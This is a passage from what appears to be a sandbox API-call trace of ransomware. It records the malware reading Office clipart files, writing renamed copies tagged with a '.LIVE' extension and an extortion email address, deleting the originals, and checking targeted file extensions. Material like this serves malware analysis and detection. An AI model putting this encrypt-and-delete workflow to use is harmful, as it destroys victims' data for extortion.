lpString2=".LIVE") returned 1 [0134.807] lstrlenW (lpString="BD00141_.WMF") returned 12 [0134.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.808] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=26886) returned 1 [0134.808] CloseHandle (hObject=0x350) returned 1 [0134.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0134.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.808] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.808] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.809] GetLastError () returned 0x0 [0134.809] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x6906, lpOverlapped=0x0) returned 1 [0134.811] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6910, lpOverlapped=0x0) returned 1 [0134.812] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0134.812] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.812] SetEndOfFile (hFile=0x384) returned 1 [0134.812] CloseHandle (hObject=0x384) returned 1 [0134.813] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.813] SetEndOfFile (hFile=0x350) returned 1 [0134.816] CloseHandle (hObject=0x350) returned 1 [0134.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0134.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0134.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0134.817] lstrlenW (lpString=".doc") returned 4 [0134.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.817] lstrlenW (lpString=".docx") returned 5 [0134.817] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.817] lstrlenW (lpString=".pdf") returned 4 [0134.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.817] lstrlenW (lpString=".xls") returned 4 [0134.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.817] lstrlenW (lpString=".xlsx") returned 5 [0134.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.817] lstrlenW (lpString=".ppt") returned 4 [0134.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0134.818] lstrlenW (lpString=".zip") returned 4 [0134.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.818] lstrlenW (lpString=".rar") returned 4 [0134.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.818] lstrlenW (lpString=".bz2") returned 4 [0134.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.818] lstrlenW (lpString=".7z") returned 3 [0134.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0134.818] lstrlenW (lpString=".dbf") returned 4 [0134.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0134.818] lstrlenW (lpString=".1cd") returned 4 [0134.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0134.818] lstrlenW (lpString=".jpg") returned 4 [0134.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0134.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0134.818] lstrlenW (lpString=".doc") returned 4 [0134.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.818] lstrlenW (lpString=".docx") returned 5 [0134.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.147] lstrlenW (lpString=".pdf") returned 4 [0135.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.148] lstrlenW (lpString=".xls") returned 4 [0135.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.148] lstrlenW (lpString=".xlsx") returned 5 [0135.148] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.148] lstrlenW (lpString=".ppt") returned 4 [0135.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0135.148] lstrlenW (lpString=".zip") returned 4 [0135.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.148] lstrlenW (lpString=".rar") returned 4 [0135.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.148] lstrlenW (lpString=".bz2") returned 4 [0135.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.148] lstrlenW (lpString=".7z") returned 3 [0135.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0135.148] lstrlenW (lpString=".dbf") returned 4 [0135.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0135.148] lstrlenW (lpString=".1cd") returned 4 [0135.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0135.148] lstrlenW (lpString=".jpg") returned 4 [0135.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.148] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.148] lstrlenW (lpString="BD07761_.WMF") returned 12 [0135.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0135.171] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=26748) returned 1 [0135.171] CloseHandle (hObject=0x39c) returned 1 [0135.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0135.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0135.278] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.278] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.584] GetLastError () returned 0x0 [0135.584] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x687c, lpOverlapped=0x0) returned 1 [0135.588] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6880, lpOverlapped=0x0) returned 1 [0135.589] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0135.589] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.589] SetEndOfFile (hFile=0x38c) returned 1 [0135.589] CloseHandle (hObject=0x38c) returned 1 [0135.589] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.589] SetEndOfFile (hFile=0x328) returned 1 [0135.592] CloseHandle (hObject=0x328) returned 1 [0135.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0135.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.593] lstrlenW (lpString=".doc") returned 4 [0135.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.593] lstrlenW (lpString=".docx") returned 5 [0135.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.593] lstrlenW (lpString=".pdf") returned 4 [0135.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.593] lstrlenW (lpString=".xls") returned 4 [0135.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.593] lstrlenW (lpString=".xlsx") returned 5 [0135.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.593] lstrlenW (lpString=".ppt") returned 4 [0135.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.593] lstrlenW (lpString=".zip") returned 4 [0135.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.593] lstrlenW (lpString=".rar") returned 4 [0135.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.593] lstrlenW (lpString=".bz2") returned 4 [0135.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.594] lstrlenW (lpString=".7z") returned 3 [0135.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.594] lstrlenW (lpString=".dbf") returned 4 [0135.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.594] lstrlenW (lpString=".1cd") returned 4 [0135.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.594] lstrlenW (lpString=".jpg") returned 4 [0135.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.594] lstrlenW (lpString=".doc") returned 4 [0135.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.594] lstrlenW (lpString=".docx") returned 5 [0135.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.594] lstrlenW (lpString=".pdf") returned 4 [0135.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.594] lstrlenW (lpString=".xls") returned 4 [0135.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.594] lstrlenW (lpString=".xlsx") returned 5 [0135.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.594] lstrlenW (lpString=".ppt") returned 4 [0135.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.594] lstrlenW (lpString=".zip") returned 4 [0135.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.594] lstrlenW (lpString=".rar") returned 4 [0135.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.594] lstrlenW (lpString=".bz2") returned 4 [0135.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.594] lstrlenW (lpString=".7z") returned 3 [0135.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.595] lstrlenW (lpString=".dbf") returned 4 [0135.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.595] lstrlenW (lpString=".1cd") returned 4 [0135.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0135.595] lstrlenW (lpString=".jpg") returned 4 [0135.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.595] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.595] lstrlenW (lpString="BD08808_.WMF") returned 12 [0135.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0135.595] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=47996) returned 1 [0135.596] CloseHandle (hObject=0x328) returned 1 [0135.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0135.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0135.596] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.596] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.600] GetLastError () returned 0x0 [0135.600] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0135.613] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0135.615] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0135.615] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.615] SetEndOfFile (hFile=0x38c) returned 1 [0135.811] CloseHandle (hObject=0x38c) returned 1 [0135.812] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.812] SetEndOfFile (hFile=0x328) returned 1 [0135.885] CloseHandle (hObject=0x328) returned 1 [0135.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0135.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.928] lstrlenW (lpString=".doc") returned 4 [0135.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.928] lstrlenW (lpString=".docx") returned 5 [0135.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.928] lstrlenW (lpString=".pdf") returned 4 [0135.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.928] lstrlenW (lpString=".xls") returned 4 [0135.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.928] lstrlenW (lpString=".xlsx") returned 5 [0135.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.928] lstrlenW (lpString=".ppt") returned 4 [0135.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.928] lstrlenW (lpString=".zip") returned 4 [0135.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.928] lstrlenW (lpString=".rar") returned 4 [0135.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.928] lstrlenW (lpString=".bz2") returned 4 [0135.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.929] lstrlenW (lpString=".7z") returned 3 [0135.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.929] lstrlenW (lpString=".dbf") returned 4 [0135.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.929] lstrlenW (lpString=".1cd") returned 4 [0135.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.929] lstrlenW (lpString=".jpg") returned 4 [0135.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.929] lstrlenW (lpString=".doc") returned 4 [0135.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.929] lstrlenW (lpString=".docx") returned 5 [0135.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.929] lstrlenW (lpString=".pdf") returned 4 [0135.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.929] lstrlenW (lpString=".xls") returned 4 [0135.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.929] lstrlenW (lpString=".xlsx") returned 5 [0135.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.929] lstrlenW (lpString=".ppt") returned 4 [0135.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.929] lstrlenW (lpString=".zip") returned 4 [0135.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.929] lstrlenW (lpString=".rar") returned 4 [0135.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.930] lstrlenW (lpString=".bz2") returned 4 [0135.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.930] lstrlenW (lpString=".7z") returned 3 [0135.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.930] lstrlenW (lpString=".dbf") returned 4 [0135.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.930] lstrlenW (lpString=".1cd") returned 4 [0135.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0135.930] lstrlenW (lpString=".jpg") returned 4 [0135.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.930] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.930] lstrlenW (lpString="BD09662_.WMF") returned 12 [0135.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.931] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=20554) returned 1 [0135.931] CloseHandle (hObject=0x388) returned 1 [0135.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft 